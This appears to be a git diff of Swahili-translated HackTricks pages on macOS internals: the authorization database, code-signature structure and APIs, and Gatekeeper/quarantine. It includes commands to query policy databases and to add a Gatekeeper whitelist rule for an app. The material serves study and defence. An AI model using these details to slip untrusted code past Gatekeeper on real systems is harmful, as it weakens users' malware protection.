* **id**: Kitambulisho cha kipekee kwa kila sheria, kinachoongezeka kiotomatiki na kutumikia kama funguo kuu.
* **name**: Jina la kipekee la sheria linalotumika kutambua na kurejelea ndani ya mfumo wa idhini.
* **type**: Inaeleza aina ya sheria, iliyozuiliwa kwa thamani 1 au 2 ili kufafanua mantiki yake ya idhini.
* **class**: Inagawanya sheria katika darasa maalum, kuhakikisha ni nambari chanya.
* "allow" kwa ruhusu, "deny" kwa kataa, "user" ikiwa mali ya kundi inaonyesha kundi ambalo uanachama wake unaruhusu ufikiaji, "rule" inaonyesha katika orodha sheria inayopaswa kutimizwa, "evaluate-mechanisms" ikifuatwa na orodha ya `mechanisms` ambazo ni ama za ndani au jina la kifurushi ndani ya `/System/Library/CoreServices/SecurityAgentPlugins/` au /Library/Security//SecurityAgentPlugins
* **group**: Inaonyesha kundi la mtumiaji linalohusishwa na sheria kwa ajili ya idhini ya msingi ya kundi.
* **kofn**: Inaonyesha parameter ya "k-of-n", ikiamua ni ngapi subrules zinapaswa kutimizwa kutoka kwa jumla.
* **timeout**: Inaeleza muda kwa sekunde kabla ya idhini iliyotolewa na sheria kuisha.
* **flags**: Ina vitu mbalimbali vinavyobadilisha tabia na sifa za sheria.
* **tries**: Inaweka mipaka ya idhini inayoruhusiwa ili kuongeza usalama.
* **version**: Inafuatilia toleo la sheria kwa ajili ya udhibiti wa toleo na masasisho.
* **created**: Inarekodi muda wa kuunda sheria kwa ajili ya madhumuni ya ukaguzi.
* **modified**: Inahifadhi muda wa mabadiliko ya mwisho yaliyofanywa kwa sheria.
* **hash**: Inashikilia thamani ya hash ya sheria ili kuhakikisha uaminifu wake na kugundua udanganyifu.
* **identifier**: Inatoa kitambulisho cha kipekee cha mfuatano, kama UUID, kwa marejeleo ya nje kwa sheria.
* **requirement**: Ina data iliyosimbwa inayofafanua mahitaji maalum ya idhini ya sheria na mitambo.
* **comment**: Inatoa maelezo yanayoweza kusomeka na binadamu au maoni kuhusu sheria kwa ajili ya nyaraka na uwazi.
### Example
```bash
# List by name and comments
sudo sqlite3 /var/db/auth.db "select name, comment from rules"
# Get rules for com.apple.tcc.util.admin
security authorizationdb read com.apple.tcc.util.admin
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>rule</string>
<key>comment</key>
<string>For modification of TCC settings.</string>
<key>created</key>
<real>701369782.01043606</real>
<key>modified</key>
<real>701369782.01043606</real>
<key>rule</key>
<array>
<string>authenticate-admin-nonshared</string>
</array>
<key>version</key>
<integer>0</integer>
</dict>
</plist>
```
Zaidi ya hayo katika [https://www.dssw.co.uk/reference/authorization-rights/authenticate-admin-nonshared/](https://www.dssw.co.uk/reference/authorization-rights/authenticate-admin-nonshared/) inawezekana kuona maana ya `authenticate-admin-nonshared`:
```json
{
'allow-root' : 'false',
'authenticate-user' : 'true',
'class' : 'user',
'comment' : 'Authenticate as an administrator.',
'group' : 'admin',
'session-owner' : 'false',
'shared' : 'false',
'timeout' : '30',
'tries' : '10000',
'version' : '1'
}
```
## Authd
Ni deamon ambayo itapokea maombi ya kuidhinisha wateja kufanya vitendo nyeti. Inafanya kazi kama huduma ya XPC iliyoainishwa ndani ya folda ya `XPCServices/` na hutumia kuandika kumbukumbu zake katika `/var/log/authd.log`.
Zaidi ya hayo, kwa kutumia zana ya usalama inawezekana kujaribu APIs nyingi za `Security.framework`. Kwa mfano, `AuthorizationExecuteWithPrivileges` inayoendesha: `security execute-with-privileges /bin/ls`
Hiyo itafork na exec `/usr/libexec/security_authtrampoline /bin/ls` kama root, ambayo itauliza ruhusa katika dirisha la kuingia ili kutekeleza ls kama root:
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -17,12 +17,12 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
## Basic Information
Mach-o binaries zina amri ya kupakia inayoitwa **`LC_CODE_SIGNATURE`** ambayo inaonyesha **offset** na **size** ya saini ndani ya binary. Kwa kweli, kwa kutumia zana ya GUI MachOView, inawezekana kupata mwishoni mwa binary sehemu inayoitwa **Code Signature** yenye taarifa hii:
Mach-o binaries zina maelezo ya kupakia yanayoitwa **`LC_CODE_SIGNATURE`** ambayo yanaonyesha **offset** na **size** ya saini ndani ya binary. Kwa kweli, kwa kutumia zana ya GUI MachOView, inawezekana kupata mwishoni mwa binary sehemu inayoitwa **Code Signature** yenye maelezo haya:
<figure><img src="../../../.gitbook/assets/image.png" alt="" width="431"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1).png" alt="" width="431"><figcaption></figcaption></figure>
Kichwa cha uchawi cha Code Signature ni **`0xFADE0CC0`**. Kisha una taarifa kama urefu na idadi ya blobs ya superBlob inayozishikilia.\
Inawezekana kupata taarifa hii katika [source code hapa](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
Kichwa cha kichawi cha Code Signature ni **`0xFADE0CC0`**. Kisha una maelezo kama vile urefu na idadi ya blobs ya superBlob inayoyashikilia.\
Inawezekana kupata maelezo haya katika [source code hapa](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
```c
/*
* Structure of an embedded-signature SuperBlob
@ -157,7 +157,7 @@ openssl sha256 /tmp/*.page.*
```
## Entitlements Blob
Kumbuka kwamba programu zinaweza pia kuwa na **entitlement blob** ambapo haki zote zimefafanuliwa. Zaidi ya hayo, baadhi ya binaries za iOS zinaweza kuwa na haki zao maalum katika sloti maalum -7 (badala ya katika sloti maalum -5).
Kumbuka kwamba programu zinaweza pia kuwa na **entitlement blob** ambapo haki zote zinafafanuliwa. Zaidi ya hayo, baadhi ya binaries za iOS zinaweza kuwa na haki zao maalum katika sloti maalum -7 (badala ya katika sloti maalum -5 za haki).
## Special Slots
@ -243,7 +243,7 @@ designated => identifier "org.whispersystems.signal-desktop" and anchor apple ge
{% endcode %}
{% hint style="info" %}
Kumbuka jinsi saini hizi zinaweza kuangalia mambo kama taarifa za uthibitisho, TeamID, IDs, haki na data nyingine nyingi.
Kumbuka jinsi saini hizi zinaweza kuangalia mambo kama taarifa za uthibitisho, TeamID, IDs, ruhusa na data nyingine nyingi.
{% endhint %}
Zaidi ya hayo, inawezekana kuzalisha baadhi ya mahitaji yaliyokusanywa kwa kutumia zana ya `csreq`:
@ -267,7 +267,7 @@ Inawezekana kufikia habari hii na kuunda au kubadilisha mahitaji na baadhi ya AP
#### **Kuangalia Uhalali**
* **`Sec[Static]CodeCheckValidity`**: Angalia uhalali wa SecCodeRef kwa kila Mahitaji.
* **`SecRequirementEvaluate`**: Thibitisha mahitaji katika muktadha wa cheti
* **`SecRequirementEvaluate`**: Thibitisha mahitaji katika muktadha wa cheti.
* **`SecTaskValidateForRequirement`**: Thibitisha SecTask inayotembea dhidi ya mahitaji ya `CFString`.
#### **Kuunda na Kusimamia Mahitaji ya Msimbo**
@ -275,31 +275,31 @@ Inawezekana kufikia habari hii na kuunda au kubadilisha mahitaji na baadhi ya AP
* **`SecRequirementCreateWithData`:** Inaunda `SecRequirementRef` kutoka kwa data ya binary inayowakilisha mahitaji.
* **`SecRequirementCreateWithString`:** Inaunda `SecRequirementRef` kutoka kwa usemi wa string wa mahitaji.
* **`SecRequirementCopy[Data/String]`**: Inapata uwakilishi wa data ya binary wa `SecRequirementRef`.
* **`SecRequirementCreateGroup`**: Unda mahitaji ya ushirika wa app-group
* **`SecRequirementCreateGroup`**: Unda mahitaji ya ushirika wa programu.
#### **Kufikia Habari za Kusaini Msimbo**
* **`SecStaticCodeCreateWithPath`**: Inaanzisha kitu cha `SecStaticCodeRef` kutoka kwa njia ya mfumo wa faili kwa ajili ya kukagua saini za msimbo.
* **`SecStaticCodeCreateWithPath`**: Inaanzisha kipande cha `SecStaticCodeRef` kutoka kwa njia ya mfumo wa faili kwa ajili ya kukagua saini za msimbo.
* **`SecCodeCopySigningInformation`**: Inapata habari za kusaini kutoka kwa `SecCodeRef` au `SecStaticCodeRef`.
#### **Kubadilisha Mahitaji ya Msimbo**
* **`SecCodeSignerCreate`**: Inaunda kitu cha `SecCodeSignerRef` kwa ajili ya kufanya operesheni za kusaini msimbo.
* **`SecCodeSignerCreate`**: Inaunda kipande cha `SecCodeSignerRef` kwa ajili ya kufanya operesheni za kusaini msimbo.
* **`SecCodeSignerSetRequirement`**: Inaweka mahitaji mapya kwa ajili ya msajili wa msimbo kutekeleza wakati wa kusaini.
* **`SecCodeSignerAddSignature`**: Inaongeza saini kwa msimbo unaosainiwa na msajili aliyeainishwa.
#### **Kuthibitisha Msimbo kwa Mahitaji**
* **`SecStaticCodeCheckValidity`**: Inathibitisha kitu cha msimbo wa static dhidi ya mahitaji yaliyoainishwa.
* **`SecStaticCodeCheckValidity`**: Inathibitisha kipande cha msimbo wa static dhidi ya mahitaji yaliyoainishwa.
#### **APIs za Ziada za Faida**
* **`SecCodeCopy[Internal/Designated]Requirement`: Pata SecRequirementRef kutoka SecCodeRef**
* **`SecCodeCopyGuestWithAttributes`**: Inaunda `SecCodeRef` inayowakilisha kitu cha msimbo kulingana na sifa maalum, muhimu kwa sandboxing.
* **`SecCodeCopyGuestWithAttributes`**: Inaunda `SecCodeRef` inayowakilisha kipande cha msimbo kulingana na sifa maalum, muhimu kwa sandboxing.
* **`SecCodeCopyPath`**: Inapata njia ya mfumo wa faili inayohusiana na `SecCodeRef`.
* **`SecCodeCopySigningIdentifier`**: Inapata kitambulisho cha kusaini (mfano, Timu ID) kutoka kwa `SecCodeRef`.
* **`SecCodeGetTypeID`**: Inarudisha kitambulisho cha aina kwa vitu vya `SecCodeRef`.
* **`SecRequirementGetTypeID`**: Inapata CFTypeID ya `SecRequirementRef`
* **`SecCodeGetTypeID`**: Inarudisha kitambulisho cha aina kwa ajili ya vitu vya `SecCodeRef`.
* **`SecRequirementGetTypeID`**: Inapata CFTypeID ya `SecRequirementRef`.
#### **Bendera na Misingi ya Kusaini Msimbo**
@ -308,7 +308,7 @@ Inawezekana kufikia habari hii na kuunda au kubadilisha mahitaji na baadhi ya AP
## Utekelezaji wa Saini ya Msimbo
**kernel** ndiye anayekagua **saini ya msimbo** kabla ya kuruhusu msimbo wa programu kutekelezwa. Aidha, njia moja ya kuweza kuandika na kutekeleza msimbo mpya katika kumbukumbu ni kutumia JIT ikiwa `mprotect` inaitwa na bendera ya `MAP_JIT`. Kumbuka kwamba programu inahitaji haki maalum ili iweze kufanya hivi.
**Kernel** ndiye anayekagua **saini ya msimbo** kabla ya kuruhusu msimbo wa programu kutekelezwa. Aidha, njia moja ya kuweza kuandika na kutekeleza msimbo mpya katika kumbukumbu ni kutumia JIT ikiwa `mprotect` inaitwa na bendera ya `MAP_JIT`. Kumbuka kwamba programu inahitaji haki maalum ili iweze kufanya hivi.
## `cs_blobs` & `cs_blob`

View file

@ -1,8 +1,8 @@
# macOS Gatekeeper / Quarantine / XProtect
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -21,29 +21,29 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## Gatekeeper
**Gatekeeper** ni kipengele cha usalama kilichoundwa kwa mifumo ya uendeshaji ya Mac, kilichokusudia kuhakikisha kwamba watumiaji **wanatumia tu programu zinazotegemewa** kwenye mifumo yao. Inafanya kazi kwa **kuhakiki programu** ambayo mtumiaji anapakua na kujaribu kufungua kutoka **vyanzo vya nje ya Duka la Programu**, kama vile programu, plug-in, au kifurushi cha installer.
**Gatekeeper** ni kipengele cha usalama kilichoundwa kwa mifumo ya uendeshaji ya Mac, kilichokusudia kuhakikisha kwamba watumiaji **wanatumia tu programu zinazotegemewa** kwenye mifumo yao. Inafanya kazi kwa **kuhakiki programu** ambayo mtumiaji anashusha na kujaribu kufungua kutoka **vyanzo vya nje ya Duka la Programu**, kama vile programu, plug-in, au kifurushi cha installer.
Mekaniki kuu ya Gatekeeper iko katika mchakato wake wa **uthibitishaji**. Inakagua ikiwa programu iliyopakuliwa **imeandikwa na mendelezi anayejulikana**, kuhakikisha uhalali wa programu hiyo. Zaidi ya hayo, inathibitisha ikiwa programu hiyo **imeandikishwa na Apple**, ikithibitisha kwamba haina maudhui mabaya yanayojulikana na haijabadilishwa baada ya kuandikishwa.
Mekaniki kuu ya Gatekeeper inategemea **mchakato wa uthibitisho**. Inakagua ikiwa programu iliyoshushwa **imeandikwa na mtengenezaji anayekubalika**, kuhakikisha uhalali wa programu hiyo. Zaidi ya hayo, inathibitisha ikiwa programu hiyo **imeandikwa na Apple**, ikithibitisha kwamba haina maudhui mabaya yanayojulikana na haijaharibiwa baada ya kuandikwa.
Zaidi ya hayo, Gatekeeper inaimarisha udhibiti wa mtumiaji na usalama kwa **kuwataka watumiaji kuidhinisha ufunguzi** wa programu iliyopakuliwa kwa mara ya kwanza. Ulinzi huu husaidia kuzuia watumiaji kuendesha kwa bahati mbaya msimbo wa utendaji ambao wanaweza kuwa wameukosea kwa faili ya data isiyo na madhara.
Zaidi ya hayo, Gatekeeper inaimarisha udhibiti wa mtumiaji na usalama kwa **kuwataka watumiaji kuidhinisha ufunguzi** wa programu iliyoshushwa kwa mara ya kwanza. Ulinzi huu husaidia kuzuia watumiaji kuendesha kwa bahati mbaya msimbo wa utendaji ambao unaweza kuwa na madhara ambao wanaweza kuwa wamechukulia kuwa faili ya data isiyo na madhara.
### Application Signatures
Sahihi za programu, pia zinajulikana kama sahihi za msimbo, ni sehemu muhimu ya miundombinu ya usalama ya Apple. Zinatumika **kuhakiki utambulisho wa mwandishi wa programu** (mendelezi) na kuhakikisha kwamba msimbo haujabadilishwa tangu ilipotiwa mwisho.
Saini za programu, pia zinajulikana kama saini za msimbo, ni sehemu muhimu ya miundombinu ya usalama ya Apple. Zinatumika ku **thibitisha utambulisho wa mwandishi wa programu** (mtengenezaji) na kuhakikisha kwamba msimbo haujaharibiwa tangu ilipotiwa mwisho.
Hivi ndivyo inavyofanya kazi:
1. **Kusaini Programu:** Wakati mendelezi yuko tayari kusambaza programu yao, wanachukua **kusaini programu kwa kutumia funguo ya kibinafsi**. Funguo hii ya kibinafsi inahusishwa na **cheti ambacho Apple inatoa kwa mendelezi** wanapojisajili katika Mpango wa Mendelezi wa Apple. Mchakato wa kusaini unajumuisha kuunda hash ya kijiografia ya sehemu zote za programu na kuificha hash hii kwa funguo ya kibinafsi ya mendelezi.
2. **Kusambaza Programu:** Programu iliyosainiwa kisha inasambazwa kwa watumiaji pamoja na cheti cha mendelezi, ambacho kinafunguo ya umma inayolingana.
3. **Kuhakiki Programu:** Wakati mtumiaji anapakua na kujaribu kuendesha programu, mfumo wa uendeshaji wa Mac unatumia funguo ya umma kutoka kwa cheti cha mendelezi kufichua hash. Kisha inarejesha hash kulingana na hali ya sasa ya programu na kulinganisha hii na hash iliyofichuliwa. Ikiwa zinakubaliana, inamaanisha **programu hiyo haijabadilishwa** tangu mendelezi aliposaini, na mfumo unaruhusu programu hiyo kuendesha.
1. **Kusaini Programu:** Wakati mtengenezaji yuko tayari kusambaza programu yao, wana **saini programu hiyo kwa kutumia funguo binafsi**. Funguo hii binafsi inahusishwa na **cheti ambacho Apple inatoa kwa mtengenezaji** wanapojisajili katika Programu ya Wataalamu wa Apple. Mchakato wa kusaini unajumuisha kuunda hash ya kificho ya sehemu zote za programu na kuificha hash hii kwa funguo binafsi ya mtengenezaji.
2. **Kusambaza Programu:** Programu iliyosainiwa kisha inasambazwa kwa watumiaji pamoja na cheti cha mtengenezaji, ambacho kinafunguo ya umma inayolingana.
3. **Kuthibitisha Programu:** Wakati mtumiaji anashusha na kujaribu kuendesha programu, mfumo wa uendeshaji wa Mac unatumia funguo ya umma kutoka kwa cheti cha mtengenezaji kufichua hash. Kisha inarejesha hash kulingana na hali ya sasa ya programu na kulinganisha hii na hash iliyofichuliwa. Ikiwa zinakubaliana, inamaanisha **programu hiyo haijaharibiwa** tangu mtengenezaji aitishe, na mfumo unaruhusu programu hiyo kuendesha.
Sahihi za programu ni sehemu muhimu ya teknolojia ya Gatekeeper ya Apple. Wakati mtumiaji anajaribu **kufungua programu iliyopakuliwa kutoka mtandao**, Gatekeeper inathibitisha sahihi ya programu. Ikiwa imesainiwa na cheti kilichotolewa na Apple kwa mendelezi anayejulikana na msimbo haujabadilishwa, Gatekeeper inaruhusu programu hiyo kuendesha. Vinginevyo, inazuia programu hiyo na kumjulisha mtumiaji.
Saini za programu ni sehemu muhimu ya teknolojia ya Gatekeeper ya Apple. Wakati mtumiaji anajaribu **kufungua programu iliyoshushwa kutoka mtandao**, Gatekeeper inathibitisha saini ya programu. Ikiwa imesainiwa na cheti kilichotolewa na Apple kwa mtengenezaji anayejulikana na msimbo haujaharibiwa, Gatekeeper inaruhusu programu hiyo kuendesha. Vinginevyo, inazuia programu hiyo na kumjulisha mtumiaji.
Kuanzia macOS Catalina, **Gatekeeper pia inakagua ikiwa programu hiyo imeandikishwa** na Apple, ikiongeza safu ya ziada ya usalama. Mchakato wa kuandikishwa unakagua programu hiyo kwa masuala ya usalama yanayojulikana na msimbo mbaya, na ikiwa ukaguzi huu unakubalika, Apple inaongeza tiketi kwa programu ambayo Gatekeeper inaweza kuithibitisha.
Kuanzia macOS Catalina, **Gatekeeper pia inakagua ikiwa programu hiyo imeandikwa** na Apple, ikiongeza safu ya ziada ya usalama. Mchakato wa kuandikwa unakagua programu hiyo kwa masuala ya usalama yanayojulikana na msimbo mbaya, na ikiwa ukaguzi huu unakubalika, Apple inaongeza tiketi kwa programu ambayo Gatekeeper inaweza kuthibitisha.
#### Check Signatures
Wakati wa kuangalia **kielelezo cha malware** unapaswa kila wakati **kuangalia sahihi** ya binary kwani **mendelezi** aliyesaini inaweza kuwa tayari **ina uhusiano** na **malware.**
Wakati wa kuangalia **kielelezo cha malware** unapaswa kila wakati **kuangalia saini** ya binary kwani **mtengenezaji** aliyeisaini anaweza kuwa tayari **ana uhusiano** na **malware.**
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -62,17 +62,19 @@ codesign -s <cert-name-keychain> toolsdemo
```
### Notarization
Mchakato wa notarization wa Apple unatumika kama kinga ya ziada kulinda watumiaji kutokana na programu zinazoweza kuwa na madhara. Inahusisha **mwandishi kuwasilisha programu yao kwa uchunguzi** na **Huduma ya Notary ya Apple**, ambayo haipaswi kuchanganywa na Mapitio ya Programu. Huduma hii ni **mfumo wa kiotomatiki** unaochambua programu iliyowasilishwa kwa uwepo wa **maudhui mabaya** na masuala yoyote yanayoweza kutokea na saini ya msimbo.
Mchakato wa notarization wa Apple unatumika kama kinga ya ziada kulinda watumiaji kutokana na programu zinazoweza kuwa na madhara. Unahusisha **mwandishi kuwasilisha programu yao kwa uchunguzi** na **Huduma ya Notary ya Apple**, ambayo haipaswi kuchanganywa na Mapitio ya Programu. Huduma hii ni **mfumo wa kiotomatiki** unaochambua programu iliyowasilishwa kwa uwepo wa **maudhui mabaya** na masuala yoyote yanayoweza kutokea na saini ya msimbo.
Ikiwa programu hiyo **inapita** uchunguzi huu bila kuibua wasiwasi wowote, Huduma ya Notary inaunda tiketi ya notarization. Mwandishi anahitajika **kuambatanisha tiketi hii na programu yao**, mchakato unaojulikana kama 'stapling.' Zaidi ya hayo, tiketi ya notarization pia inachapishwa mtandaoni ambapo Gatekeeper, teknolojia ya usalama ya Apple, inaweza kuipata.
Ikiwa programu hiyo **inasimama** ukaguzi huu bila kuibua wasiwasi wowote, Huduma ya Notary inaunda tiketi ya notarization. Mwandishi anahitajika **kuunganisha tiketi hii na programu yao**, mchakato unaojulikana kama 'stapling.' Zaidi ya hayo, tiketi ya notarization pia inachapishwa mtandaoni ambapo Gatekeeper, teknolojia ya usalama ya Apple, inaweza kuipata.
Wakati wa usakinishaji au utekelezaji wa kwanza wa programu na mtumiaji, uwepo wa tiketi ya notarization - iwe imeunganishwa na executable au kupatikana mtandaoni - **inaarifu Gatekeeper kwamba programu hiyo imetolewa na Apple**. Kama matokeo, Gatekeeper inaonyesha ujumbe wa maelezo katika dirisha la uzinduzi wa awali, ikionyesha kwamba programu hiyo imefanyiwa ukaguzi wa maudhui mabaya na Apple. Mchakato huu hivyo huongeza ujasiri wa mtumiaji katika usalama wa programu wanazosakinisha au kuendesha kwenye mifumo yao.
Wakati wa usakinishaji au utekelezaji wa kwanza wa programu na mtumiaji, uwepo wa tiketi ya notarization - iwe imeunganishwa na executable au kupatikana mtandaoni - **inawaarifu Gatekeeper kwamba programu hiyo imekuwa notarized na Apple**. Kama matokeo, Gatekeeper inaonyesha ujumbe wa maelezo katika kidirisha cha uzinduzi wa awali, ikionyesha kwamba programu hiyo imefanyiwa ukaguzi wa maudhui mabaya na Apple. Mchakato huu hivyo huongeza uaminifu wa mtumiaji katika usalama wa programu wanazosakinisha au kuendesha kwenye mifumo yao.
### Enumerating GateKeeper
### spctl & syspolicyd
GateKeeper ni pamoja na, **vipengele kadhaa vya usalama** vinavyokataza programu zisizoaminika kutekelezwa na pia **moja ya vipengele**.
{% hint style="danger" %}
Kumbuka kwamba kuanzia toleo la Sequoia, **`spctl`** haiwaruhusu kubadilisha usanidi wa Gatekeeper tena.
{% endhint %}
Inawezekana kuona **hali** ya GateKeeper kwa:
**`spctl`** ni zana ya CLI ya kuorodhesha na kuingiliana na Gatekeeper (pamoja na daemon ya `syspolicyd` kupitia ujumbe wa XPC). Kwa mfano, inawezekana kuona **hali** ya GateKeeper kwa:
```bash
# Check the status
spctl --status
@ -85,7 +87,9 @@ GateKeeper itakagua ikiwa kulingana na **mapendeleo & saini** binary inaweza kut
<figure><img src="../../../.gitbook/assets/image (1150).png" alt=""><figcaption></figcaption></figure>
Hifadhidata inayoshikilia usanidi huu iko katika **`/var/db/SystemPolicy`**. Unaweza kuangalia hifadhidata hii kama root kwa:
**`syspolicyd`** ndiye daemon mkuu anayehusika na kutekeleza Gatekeeper. Inashikilia hifadhidata iliyoko katika `/var/db/SystemPolicy` na inawezekana kupata msimbo wa kusaidia [hifadhidata hapa](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity\_codesigning/lib/policydb.cpp) na [templat ya SQL hapa](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity\_codesigning/lib/syspolicy.sql). Kumbuka kwamba hifadhidata haina vizuizi vya SIP na inaweza kuandikwa na root na hifadhidata `/var/db/.SystemPolicy-default` inatumika kama nakala ya awali endapo nyingine itaharibika.
Zaidi ya hayo, vifurushi **`/var/db/gke.bundle`** na **`/var/db/gkopaque.bundle`** vina faili zenye sheria ambazo zinaingizwa katika hifadhidata. Unaweza kuangalia hifadhidata hii kama root kwa:
```bash
# Open database
sqlite3 /var/db/SystemPolicy
@ -99,10 +103,12 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
[...]
```
Note jinsi sheria ya kwanza ilivyomalizika kwa "**App Store**" na ya pili kwa "**Developer ID**" na kwamba katika picha iliyopita ilikuwa **imewezeshwa kutekeleza programu kutoka kwa App Store na waendelezaji waliotambulika**.\
Ikiwa **unabadilisha** mipangilio hiyo kuwa App Store, sheria za "**Notarized Developer ID" zitaondoka**.
**`syspolicyd`** pia inatoa seva ya XPC yenye operesheni tofauti kama `assess`, `update`, `record` na `cancel` ambazo pia zinaweza kufikiwa kwa kutumia **`Security.framework`'s `SecAssessment*`** APIs na **`xpctl`** kwa kweli inazungumza na **`syspolicyd`** kupitia XPC.
Pia kuna maelfu ya sheria za **aina GKE**:
Tazama jinsi sheria ya kwanza ilivyomalizika kwa "**App Store**" na ya pili kwa "**Developer ID**" na kwamba katika picha iliyopita ilikuwa **imewezeshwa kutekeleza programu kutoka kwa App Store na waendelezaji waliotambulika**.\
Ikiwa **utabadilisha** mipangilio hiyo kuwa App Store, sheria za "**Notarized Developer ID" zitaondoka**.
Pia kuna maelfu ya sheria za **aina GKE** :
```bash
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
@ -111,7 +117,11 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
```
Hizi ni hash ambazo zinatoka kwenye **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** na **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**
Hizi ni hash ambazo zinatoka:
* `/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`
* `/var/db/gke.bundle/Contents/Resources/gk.db`
* `/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`
Au unaweza kuorodhesha taarifa za awali kwa:
```bash
@ -135,7 +145,7 @@ Inawezekana **kuangalia ikiwa App itaruhusiwa na GateKeeper** kwa:
```bash
spctl --assess -v /Applications/App.app
```
Ni inawezekana kuongeza sheria mpya katika GateKeeper ili kuruhusu utekelezaji wa programu fulani kwa:
Ni uwezekano wa kuongeza sheria mpya katika GateKeeper ili kuruhusu utekelezaji wa programu fulani kwa:
```bash
# Check if allowed - nop
spctl --assess -v /Applications/App.app
@ -150,6 +160,8 @@ sudo spctl --enable --label "whitelist"
spctl --assess -v /Applications/App.app
/Applications/App.app: accepted
```
Regarding **kernel extensions**, the folder `/var/db/SystemPolicyConfiguration` contains files with lists of kexts allowed to be loaded. Moreover, `spctl` has the entitlement `com.apple.private.iokit.nvram-csr` because it's capable of adding new pre-approved kernel extensions which need to be saved also in NVRAM in a `kext-allowed-teams` key.
### Quarantine Files
Upon **downloading** an application or file, specific macOS **applications** such as web browsers or email clients **attach an extended file attribute**, commonly known as the "**quarantine flag**," to the downloaded file. This attribute acts as a security measure to **mark the file** as coming from an untrusted source (the internet), and potentially carrying risks. However, not all applications attach this attribute, for instance, common BitTorrent client software usually bypasses this process.
@ -159,15 +171,15 @@ Upon **downloading** an application or file, specific macOS **applications** suc
In the case where the **quarantine flag is not present** (as with files downloaded via some BitTorrent clients), Gatekeeper's **checks may not be performed**. Thus, users should exercise caution when opening files downloaded from less secure or unknown sources.
{% hint style="info" %}
**Kuangalia** **halali** ya saini za msimbo ni mchakato wa **rasilimali nyingi** ambao unajumuisha kuunda **hashes** za kificho za msimbo na rasilimali zake zote zilizofungwa. Zaidi ya hayo, kuangalia halali ya cheti kunahusisha kufanya **kuangalia mtandaoni** kwa seva za Apple ili kuona kama kimeondolewa baada ya kutolewa. Kwa sababu hizi, kuangalia saini kamili ya msimbo na uthibitisho ni **sio rahisi kufanywa kila wakati programu inapoanzishwa**.
**Kuangalia** **halali** ya saini za msimbo ni mchakato wa **rasilimali nyingi** ambao unajumuisha kuunda **hashes** za cryptographic za msimbo na rasilimali zake zote zilizofungwa. Zaidi ya hayo, kuangalia halali ya cheti kunahusisha kufanya **kuangalia mtandaoni** kwa seva za Apple ili kuona kama kimeondolewa baada ya kutolewa. Kwa sababu hizi, kuangalia saini kamili ya msimbo na notarization ni **sio rahisi kufanywa kila wakati programu inapoanzishwa**.
Therefore, these checks are **only run when executing apps with the quarantined attribute.**
